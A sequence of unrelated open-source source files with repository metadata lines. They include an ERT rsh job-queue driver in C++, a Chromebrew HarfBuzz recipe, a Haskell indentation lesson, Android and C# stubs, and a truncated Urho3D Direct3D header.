Copyright (C) 2011 Equinor ASA, Norway.
The file 'rsh_driver.c' is part of ERT - Ensemble based Reservoir Tool.
ERT is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
ERT is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License at <http://www.gnu.org/licenses/gpl.html>
for more details.
*/
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netdb.h>
#include <pthread.h>
#include <errno.h>
#include <ert/util/util.hpp>
#include <ert/res_util/arg_pack.hpp>
#include <ert/job_queue/queue_driver.hpp>
#include <ert/job_queue/rsh_driver.hpp>
struct rsh_job_struct {
UTIL_TYPE_ID_DECLARATION;
bool active; /* Means that it allocated - not really in use */
job_status_type status;
pthread_t run_thread;
const char * host_name; /* Currently not set */
char * run_path;
};
typedef struct {
char * host_name;
int max_running; /* How many can the host handle. */
int running; /* How many are currently running on the host (goverened by this driver instance that is). */
pthread_mutex_t host_mutex;
} rsh_host_type;
#define RSH_DRIVER_TYPE_ID 44963256
#define RSH_JOB_TYPE_ID 63256701
struct rsh_driver_struct {
UTIL_TYPE_ID_DECLARATION;
pthread_mutex_t submit_lock;
pthread_attr_t thread_attr;
char * rsh_command;
int num_hosts;
int last_host_index;
rsh_host_type **host_list;
hash_type *__host_hash; /* Stupid redundancy ... */
};
/******************************************************************/
static UTIL_SAFE_CAST_FUNCTION_CONST( rsh_driver , RSH_DRIVER_TYPE_ID )
static UTIL_SAFE_CAST_FUNCTION( rsh_driver , RSH_DRIVER_TYPE_ID )
static UTIL_SAFE_CAST_FUNCTION( rsh_job , RSH_JOB_TYPE_ID )
/**
If the host is for some reason not available, NULL should be
returned. Will also return NULL if some funny guy tries to allocate
with max_running <= 0.
*/
static rsh_host_type * rsh_host_alloc(const char * host_name , int max_running) {
if (max_running > 0) {
struct addrinfo * result;
if (getaddrinfo(host_name , NULL , NULL , &result) == 0) {
rsh_host_type * host = (rsh_host_type*)util_malloc(sizeof * host );
host->host_name = util_alloc_string_copy(host_name);
host->max_running = max_running;
host->running = 0;
pthread_mutex_init( &host->host_mutex , NULL );
freeaddrinfo( result );
return host;
} else {
fprintf(stderr,"** Warning: could not locate server: %s \n",host_name);
return NULL;
}
} else
return NULL;
}
static void rsh_host_free(rsh_host_type * rsh_host) {
free(rsh_host->host_name);
free(rsh_host);
}
static bool rsh_host_available(rsh_host_type * rsh_host) {
bool available;
pthread_mutex_lock( &rsh_host->host_mutex );
{
available = false;
if ((rsh_host->max_running - rsh_host->running) > 0) { // The host has free slots()
available = true;
rsh_host->running++;
}
}
pthread_mutex_unlock( &rsh_host->host_mutex );
return available;
}
static void rsh_host_submit_job(rsh_host_type * rsh_host , rsh_job_type * job, const char * rsh_cmd , const char * submit_cmd , int num_cpu , int job_argc , const char ** job_argv) {
/*
Observe that this job has already been added to the running jobs
in the rsh_host_available function.
*/
int argc = job_argc + 2;
const char ** argv = (const char**)util_malloc( argc * sizeof * argv );
argv[0] = rsh_host->host_name;
argv[1] = submit_cmd;
{
int iarg;
for (iarg = 0; iarg < job_argc; iarg++)
argv[iarg + 2] = job_argv[iarg];
}
util_spawn_blocking(rsh_cmd, argc, argv, NULL, NULL); /* This call is blocking. */
job->status = JOB_QUEUE_DONE;
pthread_mutex_lock( &rsh_host->host_mutex );
rsh_host->running--;
pthread_mutex_unlock( &rsh_host->host_mutex );
free( argv );
}
/*
static const char * rsh_host_get_hostname(const rsh_host_type * host) { return host->host_name; }
*/
static void * rsh_host_submit_job__(void * __arg_pack) {
arg_pack_type * arg_pack = arg_pack_safe_cast(__arg_pack);
char * rsh_cmd = (char *) arg_pack_iget_ptr(arg_pack , 0);
rsh_host_type * rsh_host = (rsh_host_type *)arg_pack_iget_ptr(arg_pack , 1);
char * submit_cmd = (char *) arg_pack_iget_ptr(arg_pack , 2);
int num_cpu = arg_pack_iget_int(arg_pack , 3);
int argc = arg_pack_iget_int(arg_pack , 4);
const char ** argv = (const char **) arg_pack_iget_ptr(arg_pack , 5);
rsh_job_type * job = (rsh_job_type*) arg_pack_iget_ptr(arg_pack , 6);
rsh_host_submit_job(rsh_host , job , rsh_cmd , submit_cmd , num_cpu , argc , argv);
pthread_exit( NULL );
arg_pack_free( arg_pack );
}
/*****************************************************************/
/*****************************************************************/
rsh_job_type * rsh_job_alloc(const char * run_path) {
rsh_job_type * job;
job = (rsh_job_type*)util_malloc(sizeof * job );
job->active = false;
job->status = JOB_QUEUE_WAITING;
job->run_path = util_alloc_string_copy(run_path);
UTIL_TYPE_ID_INIT( job , RSH_JOB_TYPE_ID );
return job;
}
void rsh_job_free(rsh_job_type * job) {
free(job->run_path);
free(job);
}
job_status_type rsh_driver_get_job_status(void * __driver , void * __job) {
if (__job == NULL)
/* The job has not been registered at all ... */
return JOB_QUEUE_NOT_ACTIVE;
else {
rsh_job_type * job = rsh_job_safe_cast( __job );
{
if (job->active == false) {
util_abort("%s: internal error - should not query status on inactive jobs \n" , __func__);
return JOB_QUEUE_NOT_ACTIVE; /* Dummy to shut up compiler */
} else
return job->status;
}
}
}
void rsh_driver_free_job( void * __job ) {
rsh_job_type * job = rsh_job_safe_cast( __job );
rsh_job_free(job);
}
void rsh_driver_kill_job(void * __driver ,void * __job) {
rsh_job_type * job = rsh_job_safe_cast( __job );
if (job->active)
pthread_cancel( job->run_thread );
rsh_job_free( job );
}
void * rsh_driver_submit_job(void * __driver,
const char * submit_cmd ,
int num_cpu , /* Ignored */
const char * run_path ,
const char * job_name ,
int argc,
const char ** argv ) {
rsh_driver_type * driver = rsh_driver_safe_cast( __driver );
rsh_job_type * job = NULL;
{
/*
command is freed in the start_routine() function
*/
pthread_mutex_lock( &driver->submit_lock );
{
rsh_host_type * host = NULL;
int ihost;
int host_index = 0;
if (driver->num_hosts == 0)
util_abort("%s: fatal error - no hosts added to the rsh driver.\n",__func__);
for (ihost = 0; ihost < driver->num_hosts; ihost++) {
host_index = (ihost + driver->last_host_index) % driver->num_hosts;
if (rsh_host_available(driver->host_list[host_index])) {
host = driver->host_list[host_index];
break;
}
}
driver->last_host_index = (host_index + 1) % driver->num_hosts;
if (host != NULL) {
/* A host is available */
arg_pack_type * arg_pack = arg_pack_alloc(); /* The arg_pack is freed() in the rsh_host_submit_job__() function.
freeing it here is dangerous, because we might free it before the
thread-called function is finished with it. */
job = rsh_job_alloc(run_path);
arg_pack_append_ptr(arg_pack , driver->rsh_command);
arg_pack_append_ptr(arg_pack , host);
arg_pack_append_ptr(arg_pack , (char *) submit_cmd);
arg_pack_append_int(arg_pack , num_cpu );
arg_pack_append_int(arg_pack , argc );
arg_pack_append_ptr(arg_pack , argv );
arg_pack_append_ptr(arg_pack , job);
{
int pthread_return_value = pthread_create( &job->run_thread , &driver->thread_attr , rsh_host_submit_job__ , arg_pack);
if (pthread_return_value != 0)
util_abort("%s failed to create thread ERROR:%d \n", __func__ , pthread_return_value);
}
job->status = JOB_QUEUE_RUNNING;
job->active = true;
}
}
pthread_mutex_unlock( &driver->submit_lock );
}
return job;
}
void rsh_driver_clear_host_list( rsh_driver_type * driver ) {
int ihost;
for (ihost =0; ihost < driver->num_hosts; ihost++)
rsh_host_free(driver->host_list[ihost]);
free(driver->host_list);
driver->num_hosts = 0;
driver->host_list = NULL;
driver->last_host_index = 0;
}
void rsh_driver_free(rsh_driver_type * driver) {
rsh_driver_clear_host_list( driver );
pthread_attr_destroy ( &driver->thread_attr );
free(driver->rsh_command );
hash_free( driver->__host_hash );
free(driver);
driver = NULL;
}
void rsh_driver_free__(void * __driver) {
rsh_driver_type * driver = rsh_driver_safe_cast( __driver );
rsh_driver_free( driver );
}
void rsh_driver_set_host_list( rsh_driver_type * rsh_driver , const hash_type * rsh_host_list) {
rsh_driver_clear_host_list( rsh_driver );
if (rsh_host_list != NULL) {
hash_iter_type * hash_iter = hash_iter_alloc( rsh_host_list );
while (!hash_iter_is_complete( hash_iter )) {
const char * host = hash_iter_get_next_key( hash_iter );
int max_running = hash_get_int( rsh_host_list , host );
rsh_driver_add_host(rsh_driver , host , max_running);
}
if (rsh_driver->num_hosts == 0)
util_abort("%s: failed to add any valid RSH hosts - aborting.\n",__func__);
}
}
/**
*/
void * rsh_driver_alloc( ) {
rsh_driver_type * rsh_driver = (rsh_driver_type*)util_malloc( sizeof * rsh_driver );
UTIL_TYPE_ID_INIT( rsh_driver , RSH_DRIVER_TYPE_ID );
pthread_mutex_init( &rsh_driver->submit_lock , NULL );
pthread_attr_init( &rsh_driver->thread_attr );
pthread_attr_setdetachstate( &rsh_driver->thread_attr , PTHREAD_CREATE_DETACHED );
/**
To simplify the Python wrapper it is possible to pass in NULL as
rsh_host_list pointer, and then subsequently add hosts with
rsh_driver_add_host().
*/
rsh_driver->num_hosts = 0;
rsh_driver->host_list = NULL;
rsh_driver->last_host_index = 0;
rsh_driver->rsh_command = NULL;
rsh_driver->__host_hash = hash_alloc();
return rsh_driver;
}
void rsh_driver_add_host(rsh_driver_type * rsh_driver , const char * hostname , int host_max_running) {
rsh_host_type * new_host = rsh_host_alloc(hostname , host_max_running); /* Could in principle update an existing node if the host name is old. */
if (new_host != NULL) {
rsh_driver->num_hosts++;
rsh_driver->host_list = (rsh_host_type**)util_realloc(rsh_driver->host_list , rsh_driver->num_hosts * sizeof * rsh_driver->host_list );
rsh_driver->host_list[(rsh_driver->num_hosts - 1)] = new_host;
}
}
/**
Hostname should be a string as host:max_running, the ":max_running"
part is optional, and will default to 1.
*/
void rsh_driver_add_host_from_string(rsh_driver_type * rsh_driver , const char * hostname) {
int host_max_running;
char ** tmp;
char * host;
int tokens;
util_split_string( hostname , ":" , &tokens , &tmp);
if (tokens > 1) {
if (!util_sscanf_int( tmp[tokens - 1] , &host_max_running))
util_abort("%s: failed to parse out integer from: %s \n",__func__ , hostname);
host = util_alloc_joined_string((const char **) tmp , tokens - 1 , ":");
} else
host = util_alloc_string_copy( tmp[0] );
rsh_driver_add_host( rsh_driver , host , host_max_running );
util_free_stringlist( tmp , tokens );
free( host );
}
bool rsh_driver_set_option( void * __driver , const char * option_key , const void * value_ ) {
const char * value = (const char*) value_;
rsh_driver_type * driver = rsh_driver_safe_cast( __driver );
bool has_option = true;
{
if (strcmp(RSH_HOST , option_key) == 0) /* Add one host - value should be hostname:max */
rsh_driver_add_host_from_string( driver , value );
else if (strcmp(RSH_HOSTLIST , option_key) == 0) { /* Set full host list - value should be hash of integers. */
if (value != NULL) {
const hash_type * hash_value = hash_safe_cast_const( value );
rsh_driver_set_host_list( driver , hash_value );
}
} else if (strcmp( RSH_CLEAR_HOSTLIST , option_key) == 0)
/* Value is not considered - this is an action, and not a _set operation. */
rsh_driver_set_host_list( driver , NULL );
else if (strcmp( RSH_CMD , option_key) == 0)
driver->rsh_command = util_realloc_string_copy( driver->rsh_command , value );
else
has_option = false;
}
return has_option;
}
const void * rsh_driver_get_option( const void * __driver , const char * option_key ) {
const rsh_driver_type * driver = rsh_driver_safe_cast_const( __driver );
{
if (strcmp( RSH_CMD , option_key ) == 0)
return driver->rsh_command;
else if (strcmp( RSH_HOSTLIST , option_key) == 0) {
int ihost;
hash_clear( driver->__host_hash );
for (ihost = 0; ihost < driver->num_hosts; ihost++) {
rsh_host_type * host = driver->host_list[ ihost ];
hash_insert_int( driver->__host_hash , host->host_name , host->max_running);
}
return driver->__host_hash;
} else {
util_abort("%s: get not implemented fro option_id:%s for rsh \n",__func__ , option_key );
return NULL;
}
}
}
void rsh_driver_init_option_list(stringlist_type * option_list) {
stringlist_append_copy(option_list, RSH_HOST);
stringlist_append_copy(option_list, RSH_HOSTLIST);
stringlist_append_copy(option_list, RSH_CMD);
stringlist_append_copy(option_list, RSH_CLEAR_HOSTLIST);
}
#undef RSH_JOB_ID
/*****************************************************************/
| andreabrambilla/libres | lib/job_queue/rsh_driver.cpp | C++ | gpl-3.0 | 14,676 |
# GeoCalle
Modelo socioespacial de la población sin hogar en el Centro Histórico
de la Ciudad de México.
[Página web del Repositorio](http://www.geocalle.org)
| rosmapeb/geocalle | README.md | Markdown | gpl-3.0 | 165 |
require 'package'
class Harfbuzz < Package
description 'HarfBuzz is an OpenType text shaping engine.'
homepage 'https://www.freedesktop.org/wiki/Software/HarfBuzz/'
version '1.7.6-0'
source_url 'https://github.com/harfbuzz/harfbuzz/releases/download/1.7.6/harfbuzz-1.7.6.tar.bz2'
source_sha256 'da7bed39134826cd51e57c29f1dfbe342ccedb4f4773b1c951ff05ff383e2e9b'
binary_url ({
aarch64: 'https://dl.bintray.com/chromebrew/chromebrew/harfbuzz-1.7.6-0-chromeos-armv7l.tar.xz',
armv7l: 'https://dl.bintray.com/chromebrew/chromebrew/harfbuzz-1.7.6-0-chromeos-armv7l.tar.xz',
i686: 'https://dl.bintray.com/chromebrew/chromebrew/harfbuzz-1.7.6-0-chromeos-i686.tar.xz',
x86_64: 'https://dl.bintray.com/chromebrew/chromebrew/harfbuzz-1.7.6-0-chromeos-x86_64.tar.xz',
})
binary_sha256 ({
aarch64: 'd92567e640f2b847ff35d1dcb5e0fcabaa640cea8c709755a3fed8b1ed59a598',
armv7l: 'd92567e640f2b847ff35d1dcb5e0fcabaa640cea8c709755a3fed8b1ed59a598',
i686: '220ae1416d6fb21e9d5621d97c66e65dddd15eb63108fb4c5e3d5fe6c75e662a',
x86_64: '3dd360778d0ffbd12b23a9d1e2fe5d3031f8a93eb9f9618cd430dc91349bee7d',
})
depends_on 'glib'
depends_on 'icu4c'
depends_on 'freetype_sub'
def self.build
system "./configure --prefix=#{CREW_PREFIX} --libdir=#{CREW_LIB_PREFIX}"
system "make"
end
def self.install
system "pip install six"
system "make", "DESTDIR=#{CREW_DEST_DIR}", "install"
system "pip uninstall --yes six"
end
end
| thedamian/chromebrew | packages/harfbuzz.rb | Ruby | gpl-3.0 | 1,486 |
---
title: "2017-09-14 Indentation"
date: 2017-09-13T20:38:45-05:00
tags:
- haskell
draft: false
description: Indentation matters. A lot.
---
Indentation is significant in Haskell. Haskell uses indentation to
group pieces of code together. This is similar to Python, but there
are "false cognates" - similar code that is indented differently in
the two languages. In Racket, grouping is done only by parentheses.
## Indenting to the same level
{{% notice tip %}} "All grouped expressions must be exactly aligned."
{{% /notice %}}
Example 1a: good indentation
```haskell
if x `mod` 3 == 0 &&
x `mod` 5 == 0 -- good. aligned with top x.
...
```
Example 1a: bad indentation
```haskell
if x `mod` 3 == 0 &&
x `mod` 5 == 0 -- wrong. not aligned with top x
...
```
## Indenting further
{{% notice warning %}} "Code which is part of some expression [must]
be indented further than the beginning of that expression.
{{% /notice %}}
### Not enough indentation
On one hand, this means that if you do not indent, you are not continuing
a preceding expression. Example 2:
```haskell
if x `mod` 3 == 0 &&
x `mod` 5 == 0
then -- wrong; needs to be indented further than the if
x
else -- wrong again
0
```
### Too much indentation
On the other hand, if you do indent, you may be
continuing something you wrote previously.
How could this be an issue? If you write one function and then indent a
later function, Haskell thinks you want the second function to be inside
the first function (as in, a "sub-function").
Example:
```haskell
main = do
putStrLn $ helper 5
-- all this space does not change anything... --
answer x = 200 * x
helper x = answer x + 1
```
Notice how `answer` is indented more than `main`? That makes the `answer`
function live inside of `main`... this will cause all sorts of
problems, but the first one is that `helper` cannot see `answer`
because `helper` cannot see anything inside of another function like
`main`.
The source for all quotes in this article is the [Haskell article on indentation][1].
Other example issues came from observations in class.
[1]: https://en.wikibooks.org/wiki/Haskell/Indentation
| maueroats/teaching | content/ap-cs/haskell/daily/2017-09-13.md | Markdown | gpl-3.0 | 2,243 |
package com.brejza.matt.habmodem;
import group.pals.android.lib.ui.filechooser.FileChooserActivity;
import group.pals.android.lib.ui.filechooser.io.localfile.LocalFile;
import java.io.File;
import java.util.List;
import android.os.Bundle;
import android.os.Environment;
import android.os.Parcelable;
import android.preference.PreferenceManager;
import android.app.Activity;
import android.app.DialogFragment;
import android.app.FragmentManager;
import android.content.Intent;
import android.view.Menu;
public class StartActivity extends Activity implements FirstRunMessage.NoticeDialogListener, MapFileMessage.NoticeDialogListener {
private static final int _ReqChooseFile = 0;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_start);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.activity_start, menu);
return true;
}
@Override
public void onResume()
{
super.onResume();
boolean firstrun = getSharedPreferences("PREFERENCE", MODE_PRIVATE).getBoolean("firstrun1", false);
if (!firstrun){
FragmentManager fm = getFragmentManager();
FirstRunMessage di = new FirstRunMessage();
di.show(fm, "firstrun");
}
else
{
String mapst = PreferenceManager.getDefaultSharedPreferences(this.getApplicationContext()).getString("pref_map_path", "");
File file = new File(mapst);
if(file.exists())
{
//start main activity
Intent intent = new Intent(this, Map_Activity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP );
startActivity(intent);
finish();
}
else
{
FragmentManager fm = getFragmentManager();
MapFileMessage di = new MapFileMessage();
di.show(fm, "mapmessage");
}
}
}
@Override
public void onDialogPositiveClickFirstRun(DialogFragment dialog) {
// TODO Auto-generated method stub
getSharedPreferences("PREFERENCE", MODE_PRIVATE)
.edit()
.putBoolean("firstrun1", true)
.commit();
FragmentManager fm = getFragmentManager();
MapFileMessage di = new MapFileMessage();
di.show(fm, "mapmessage");
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
switch (requestCode) {
case _ReqChooseFile:
if (resultCode == RESULT_OK) {
List<LocalFile> files = (List<LocalFile>)
data.getSerializableExtra(FileChooserActivity._Results);
for (File f : files)
{
PreferenceManager.getDefaultSharedPreferences(this.getApplicationContext()).edit().putString("pref_map_path", f.getPath()).commit();
System.out.println(f.toString());
}
}
break;
}
}
private void showMapChooser()
{
Intent intent = new Intent(StartActivity.this, FileChooserActivity.class);
intent.putExtra(FileChooserActivity._Rootpath, (Parcelable) new LocalFile(Environment.getExternalStorageDirectory().getPath() ));
intent.putExtra(FileChooserActivity._RegexFilenameFilter, "(?si).*\\.(map)$");
intent.putExtra(FileChooserActivity._Theme, android.R.style.Theme_Dialog);
startActivityForResult(intent, _ReqChooseFile);
}
@Override
public void onDialogNegativeClickFirstRun(DialogFragment dialog) {
// TODO Auto-generated method stub
this.finish();
}
@Override
public void onDialogPositiveClickMapHelp(DialogFragment dialog) {
// TODO Auto-generated method stub
showMapChooser();
}
@Override
public void onDialogNegativeClickMapHelp(DialogFragment dialog) {
// TODO Auto-generated method stub
Intent intent = new Intent(this, StatusScreen.class);
startActivity(intent);
}
}
| mattbrejza/rtty_modem | habmodem/src/com/brejza/matt/habmodem/StartActivity.java | Java | gpl-3.0 | 4,104 |
#!/usr/bin/env python
# sample module
from jira.client import JIRA
def main():
jira = JIRA()
JIRA(options={'server': 'http://localhost:8100'})
projects = jira.projects()
print projects
for project in projects:
print project.key
# Standard boilerplate to call the main() function.
if __name__ == '__main__':
main() | selvait90/jira-automation | sample.py | Python | gpl-3.0 | 349 |
package ai.hellbound;
import l2s.commons.util.Rnd;
import l2s.gameserver.ai.CtrlEvent;
import l2s.gameserver.ai.Mystic;
import l2s.gameserver.model.Creature;
import l2s.gameserver.model.Playable;
import l2s.gameserver.model.World;
import l2s.gameserver.model.instances.NpcInstance;
import bosses.BelethManager;
/**
* @author pchayka
*/
public class Beleth extends Mystic
{
private long _lastFactionNotifyTime = 0;
private static final int CLONE = 29119;
public Beleth(NpcInstance actor)
{
super(actor);
}
@Override
protected void onEvtDead(Creature killer)
{
BelethManager.setBelethDead();
super.onEvtDead(killer);
}
@Override
protected void onEvtAttacked(Creature attacker, int damage)
{
NpcInstance actor = getActor();
if(System.currentTimeMillis() - _lastFactionNotifyTime > _minFactionNotifyInterval)
{
_lastFactionNotifyTime = System.currentTimeMillis();
for(NpcInstance npc : World.getAroundNpc(actor))
if(npc.getNpcId() == CLONE)
npc.getAI().notifyEvent(CtrlEvent.EVT_AGGRESSION, attacker, Rnd.get(1, 100));
}
super.onEvtAttacked(attacker, damage);
}
@Override
protected boolean randomWalk()
{
return false;
}
@Override
protected boolean randomAnimation()
{
return false;
}
@Override
public boolean canSeeInSilentMove(Playable target)
{
return true;
}
@Override
public boolean canSeeInHide(Playable target)
{
return true;
}
@Override
public void addTaskAttack(Creature target)
{
return;
}
} | pantelis60/L2Scripts_Underground | dist/gameserver/data/scripts/ai/hellbound/Beleth.java | Java | gpl-3.0 | 1,491 |
#ifndef PHOTONS_PhaseSpace_Generate_Dipole_Photon_Angle_H
#define PHOTONS_PhaseSpace_Generate_Dipole_Photon_Angle_H
#include "ATOOLS/Math/Vector.H"
namespace PHOTONS {
class Generate_Dipole_Photon_Angle {
private:
double m_b1;
double m_b2;
double m_c;
double m_theta;
double m_phi;
ATOOLS::Vec4D m_dir;
double CalculateBeta(const ATOOLS::Vec4D&);
void GenerateDipoleAngle();
void GenerateNullVector();
public:
Generate_Dipole_Photon_Angle(ATOOLS::Vec4D, ATOOLS::Vec4D);
Generate_Dipole_Photon_Angle(const double&, const double&);
~Generate_Dipole_Photon_Angle();
inline double GetCosTheta() { return m_c; }
inline double GetTheta() { return m_theta; }
inline double GetPhi() { return m_phi; }
inline const ATOOLS::Vec4D& GetVector() { return m_dir; }
};
/*!
\file Generate_Dipole_Photon_Angle.H
\brief contains the class Generate_Dipole_Photon_Angle
*/
/*!
\class Generate_Dipole_Photon_Angle
\brief generates the photon angular distribution in dipoles
*/
////////////////////////////////////////////////////////////////////////////////////////////////////
// Description of the member variables for Generate_Dipole_Photon_Angle
////////////////////////////////////////////////////////////////////////////////////////////////////
/*!
\var double Generate_Dipole_Photon_Angle::m_b1
\brief \f$ \beta_1 \f$
*/
/*!
\var double Generate_Dipole_Photon_Angle::m_b2
\brief \f$ \beta_2 \f$
*/
/*!
\var double Generate_Dipole_Photon_Angle::m_c
\brief \f$ c = \cos\theta \f$
*/
/*!
\var double Generate_Dipole_Photon_Angle::m_theta
\brief \f$ \theta \f$
*/
/*!
\var double Generate_Dipole_Photon_Angle::m_phi
\brief \f$ \varphi \f$
*/
/*!
\var Vec4D Generate_Dipole_Photon_Angle::m_dir
\brief null vector of unit spatial length in direction \f$ (\theta,\varphi) \f$
*/
////////////////////////////////////////////////////////////////////////////////////////////////////
// Description of member methods for Generate_Dipole_Photon_Angle
////////////////////////////////////////////////////////////////////////////////////////////////////
/*!
\fn Generate_Dipole_Photon_Angle::Generate_Dipole_Photon_Angle(Vec4D, Vec4D)
\brief generates dipole angles for two arbitrary timelike 4-vectors \f$ p_1 \f$ and \f$ p_2 \f$
\f$ p_1 \f$ and \f$ p_2 \f$ are boosted in their CMS, there the photon angles are calculated and m_dir is generated. Finally, m_dir is boosted to the original system of \f$ p_1 \f$ and \f$ p_2 \f$ and \f$ \theta \f$ and \f$ \varphi \f$ are recalculated.
This constructor is used by the Generate_Multipole_Photon_Angle class.
*/
/*!
\fn Generate_Dipole_Photon_Angle::Generate_Dipole_Photon_Angle(double, double)
\brief generates dipole angles for two 4-vectors with \f$ \beta_1 \f$ and \f$ \beta_2 \f$ assumed to be in their CMS and aligned along the z-axis
Both angles are calculated via <tt>GenerateDipoleAngle()</tt>. No null vector will be produced.
This constructor is used by the Generate_One_Photon class.
*/
/*!
\fn double Generate_Dipole_Photon_Angle::CalculateBeta(Vec4D)
\brief calculates \f$ \beta \f$ for a given 4-vector
*/
/*!
\fn void Generate_Dipole_Photon_Angle::GenerateDipoleAngle()
\brief generates both photon angles
Works in the dipole's CMS. \f$ \varphi \f$ is distributed uniformly, \f$ \theta \f$ according to the eikonal factor \f$ \tilde{S}_{ij} \f$ .
*/
/*!
\fn void Generate_Dipole_Photon_Angle::GenerateNullVector()
\brief m_dir is generated
This null vector can be Poincare transformed to any frame to have the photon angular configuration there. To get the full photon its energy/3-momentum simply has to be multiplied by the generated energy.
*/
/*!
\fn double Generate_Dipole_Photon_Angle::GetCosTheta()
\brief returns m_c ( \f$ c = \cos\theta \f$ )
*/
/*!
\fn double Generate_Dipole_Photon_Angle::GetTheta()
\brief returns m_theta ( \f$ \theta \f$ )
*/
/*!
\fn double Generate_Dipole_Photon_Angle::GetPhi()
\brief returns m_phi ( \f$ \varphi \f$ )
*/
/*!
\fn Vec4D Generate_Dipole_Photon_Angle::GetVector()
\brief returns m_dir
*/
}
// this class will take two four vectors and generate a null vector of unit 3D length which is distributed according to eikonal factor
// if two doubles (b1,b2) are given it assumed they are in their respective rest frame and then this vector is generated in that frame
#endif
| cms-externals/sherpa | PHOTONS++/PhaseSpace/Generate_Dipole_Photon_Angle.H | C++ | gpl-3.0 | 4,769 |
package be.ipl.mobile.projet.historypub;
import android.app.Application;
import android.test.ApplicationTestCase;
/**
* <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a>
*/
public class ApplicationTest extends ApplicationTestCase<Application> {
public ApplicationTest() {
super(Application.class);
}
} | Crapoo/HistoryPub | app/src/androidTest/java/be/ipl/mobile/projet/historypub/ApplicationTest.java | Java | gpl-3.0 | 362 |
/**********************************************************
* Filename: MDBRow.cpp
* Text Encoding: utf-8
*
* Description:
*
*
* Author: moxichang ([email protected])
* Harbin Engineering University
* Information Security Research Center
*
*********************************************************/
#include "Exception.h"
#include "MDB/MDBRow.h"
MDB::MDBRow:: MDBRow(MDBField** fields_, int numcols_ )
: field_m(fields_), numcols_m(numcols_)
{
}
MDB::MDBRow:: ~MDBRow()
{
for(int i=0; i< numcols_m; i++)
{
delete field_m[i];
}
delete [] field_m;
}
MDB::MDBField& MDB::MDBRow:: operator [] (int index_)
{
if(index_ >= numcols_m || index_ < 0)
{
Throw("Row index out of range", MException::ME_OUTRANGE);
}
return **(field_m + index_);
}
| moxichang/libmo | src/MDB/MDBRow.cpp | C++ | gpl-3.0 | 801 |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Model")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Model")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("4d2c65ee-e3a3-41f0-aeef-4b412134fa25")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| brusini/SimpleTwitter | Model/Properties/AssemblyInfo.cs | C# | gpl-3.0 | 1,422 |
//
// Copyright (c) 2008-2018 the Urho3D project.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#pragma once
#include "../../Graphics/ShaderProgram.h"
#include "../../Graphics/VertexDeclaration.h"
#include "../../Math/Color.h"
#include <d3d9.h>
namespace Urho3D
{
#define URHO3D_SAFE_RELEASE(p) if (p) { ((IUnknown*)p)->Release(); p = 0; }
#define URHO3D_LOGD3DERROR(msg, hr) URHO3D_LOGERRORF("%s (HRESULT %x)", msg, (unsigned)hr)
using ShaderProgramMap = HashMap<Pair<ShaderVariation*, ShaderVariation*>, SharedPtr<ShaderProgram> >;
using VertexDeclarationMap = HashMap<unsigned long long, SharedPtr<VertexDeclaration> >;
/// %Graphics implementation. Holds API-specific objects.
class URHO3D_API GraphicsImpl
{
friend class Graphics;
public:
/// Construct.
GraphicsImpl();
/// Return Direct3D device.
IDirect3DDevice9* GetDevice() const { return device_; }
/// Return device capabilities.
const D3DCAPS9& GetDeviceCaps() const { return deviceCaps_; }
/// Return adapter identifier.
const D3DADAPTER_IDENTIFIER9& GetAdapterIdentifier() const { return adapterIdentifier_; }
/// Return whether a texture format and usage is supported.
bool CheckFormatSupport(D3DFORMAT format, DWORD usage, D3DRESOURCETYPE type);
/// Return whether a multisample level is supported.
bool CheckMultiSampleSupport(D3DFORMAT format, int level);
private:
/// Direct3D interface.
IDirect3D9* interface_;
/// Direct3D device.
IDirect3DDevice9* device_;
/// Default color surface.
IDirect3DSurface9* defaultColorSurface_;
/// Default depth-stencil surface.
IDirect3DSurface9* defaultDepthStencilSurface_;
/// Frame query for flushing the GPU command queue.
IDirect3DQuery9* frameQuery_;
/// Adapter number.
DWORD adapter_;
/// Device type.
